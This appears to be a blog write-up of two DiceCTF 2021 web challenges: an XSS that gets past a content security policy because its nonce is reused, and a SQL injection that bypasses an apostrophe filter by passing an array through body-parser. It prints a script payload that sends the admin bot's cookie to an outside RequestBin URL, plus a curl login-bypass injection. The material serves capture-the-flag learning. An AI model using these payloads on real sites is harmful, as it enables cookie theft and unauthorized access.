DiceCTF 2021
— Cryptography, Exploits, Writeups — 2 min read
This weekend, I participated in DiceCTF 2021 just for fun. I wanted to write about a couple of challenges that I found interesting, along with the processes I went through to solve them.
Babier CSP
This challenge requires us to steal a cookie set on an admin bot. It provides us with the source of a backend that both serves a simple page and generates the secret that the admin sets its cookie to. From a quick glance at the page that gets served, it seems that an XSS attack might be viable:
1const express = require('express');2const crypto = require("crypto");3const config = require("./config.js");4const app = express()5const port = process.env.port || 3000;6
7const SECRET = config.secret;8const NONCE = crypto.randomBytes(16).toString('base64');9
10const template = name => `11<html>12
13${name === '' ? '': `<h1>${name}</h1>`}14<a href='#' id=elem>View Fruit</a>15
16<script nonce=${NONCE}>17elem.onclick = () => {18 location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);19}20</script>21
22</html>23`;24
25app.get('/', (req, res) => {26 res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);27 res.send(template(req.query.name || ""));28})29
30app.use('/' + SECRET, express.static(__dirname + "/secret"));31
32app.listen(port, () => {33 console.log(`Example app listening at http://localhost:${port}`)34})
From the above-highlighted points of interest, two things are immediately clear:
- If the page is loaded with a
name
query param present, it will be injected directly into the source. - A
NONCE
constant is generated once at application startup and set as the nonce for the content security policyscript-src
directive.
If you try visiting the page with a crafted query such as https://babier-csp.dicec.tf/?name=%3C/h1%3E%3Cem%3EUh%20oh...%3C/em%3E%3Cbr%3E, you'll be able to see the potential for exploitation.
If you try the same thing with script tags, however, you'll receive a CSP error in the console. Fortunately, because the NONCE
constant is consistent between page loads, you can simply tack it on to each script tag using the nonce
attribute.
From here, it's evident that we can steal the cookie from the admin bot by getting it to visit the XSS vulnerable page. A simple payload like the following should do:
1<script nonce="LRGWAXOY98Es0zz0QOVmag==">2 document.location = "https://example.x.pipedream.net/?" + document.cookie;3</script>
Now just spin up a new RequestBin, URL encode your payload, and submit it to the admin bot.
There's our secret! As per the source code, we should use it as a route name to get the flag: dice{web_1s_a_stat3_0f_grac3_857720}
.
Missing Flavortext
This was an interesting challenge with a clear focus on SQL injection. Similar to Babier CSP, we're given a simple page to visit and the source of the backend that serves it. The page contains a login form that posts data to a /login
route. If you were to provide the correct credentials, it would send back the flag. Unfortunately, since the password is randomized at application startup, we're going to need to find a different way in...
1const crypto = require('crypto');2const db = require('better-sqlite3')('db.sqlite3')3
4// remake the `users` table5db.exec(`DROP TABLE IF EXISTS users;`);6db.exec(`CREATE TABLE users(7 id INTEGER PRIMARY KEY AUTOINCREMENT,8 username TEXT,9 password TEXT10);`);11
12// add an admin user with a random password13db.exec(`INSERT INTO users (username, password) VALUES (14 'admin',15 '${crypto.randomBytes(16).toString('hex')}'16)`);17
18const express = require('express');19const bodyParser = require('body-parser');20
21const app = express();22
23// parse json and serve static files24app.use(bodyParser.urlencoded({ extended: true }));25app.use(express.static('static'));26
27// login route28app.post('/login', (req, res) => {29 if (!req.body.username || !req.body.password) {30 return res.redirect('/');31 }32
33 if ([req.body.username, req.body.password].some(v => v.includes('\''))) {34 return res.redirect('/');35 }36
37 // see if user is in database38 const query = `SELECT id FROM users WHERE39 username = '${req.body.username}' AND40 password = '${req.body.password}'41 `;42
43 let id;44 try { id = db.prepare(query).get()?.id } catch {45 return res.redirect('/');46 }47
48 // correct login49 if (id) return res.sendFile('flag.html', { root: __dirname });50
51 // incorrect login52 return res.redirect('/');53});54
55app.listen(3000);
There are two key issues in this code that we're going to exploit. The first is in how the SQL query is created on lines 38–41. Interpolating raw user inputs in that fashion is a massive security hole. The only "sanitization" applied to it is in the few lines before, where the credentials are rejected if either one contains an apostrophe character. At a first glance, this seems to prevent us from executing the standard SQLi technique of escaping from an input and modifying the query that way. Fortunately, the second key issue makes it possible:
1app.use(bodyParser.urlencoded({ extended: true }));
By opting into the extended mode of the URL-encoded body-parser middleware, the server will now accept extended input types such as arrays and objects. If we modify the username or password in such a way, we can alter the behavior of the v.includes('\'')
method call to work in our favor.
1curl -X "POST" "https://missing-flavortext.dicec.tf/login" \2 --data-urlencode "username=admin" \3 --data-urlencode "password[]=' OR 1 --"
Because arrays with a single element are cleanly converted to strings in JavaScript, we'll end up skipping the apostrophe check while still containing one. This will lead to our malformed payload being constructed as we want:
1SELECT id FROM users WHERE2 username = 'admin' AND3 password = '' OR 1 --'
This will correctly select the id of the admin user, skipping the intended credential check and returning the flag: dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}
.